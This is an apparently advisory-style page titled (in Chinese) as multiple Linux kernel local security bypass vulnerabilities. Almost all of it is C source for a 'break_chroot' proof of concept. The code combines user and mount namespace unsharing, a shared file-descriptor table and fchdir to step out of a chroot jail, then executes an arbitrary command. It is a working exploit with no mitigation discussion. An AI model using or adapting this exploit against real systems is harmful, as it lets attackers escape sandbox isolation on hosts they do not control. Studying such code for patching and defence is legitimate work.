Linux Kernel多个本地安全绕过漏洞

                                                #define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif

static void printcwd(void)
{
  /* This is fugly. */
  static int lastlen = -1;
  char buf[8192];
  if (getcwd(buf, sizeof(buf))) {
    if (strlen(buf) != lastlen)
      printf("%s\n", buf);
    lastlen = strlen(buf);
  } else {
    warn("getcwd");
  }
}

int fn(void *unused)
{
  int i;
  int fd;

  fd = open("/", O_RDONLY | O_DIRECTORY);
  if (fd == -1)
    err(1, "open(\".\")");
  if (unshare(CLONE_NEWUSER) != 0)
    err(1, "unshare(CLONE_NEWUSER)");
  if (unshare(CLONE_NEWNS) != 0)
    err(1, "unshare(CLONE_NEWNS)");
  if (fchdir(fd) != 0)
    err(1, "fchdir");
  close(fd);

  for (i = 0; i < 100; i++) {
    printcwd();
    if (chdir("..") != 0) {
      warn("chdir");
      break;
    }
  }

  fd = open(".", O_PATH | O_DIRECTORY);
  if (fd == -1)
    err(1, "open(\".\")");

  if (fd != 3) {
    if (dup2(fd, 3) == -1)
      err(1, "dup2");
    close(fd);
  }
  _exit(0);
}

int main(int argc, char **argv)
{
  int dummy;

  if (argc < 2) {
    printf("usage: break_chroot COMMAND ARGS...\n\n"
           "You won't be entirely out of jail.  / is still the jail root.\n");
    return 1;
  }

  close(3);

  if (signal(SIGCHLD, SIG_DFL) != 0)
    err(1, "signal");

  if (clone(fn, &dummy, CLONE_FILES | SIGCHLD, 0) == -1)
    err(1, "clone");

  int status;
  if (wait(&status) == -1)
    err(1, "wait");
  if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
    errx(1, "child failed");
  if (fchdir(3) != 0)
    err(1, "fchdir");
  close(3);

  execv(argv[1], argv+1);
  err(1, argv[1]);

  return 0;
}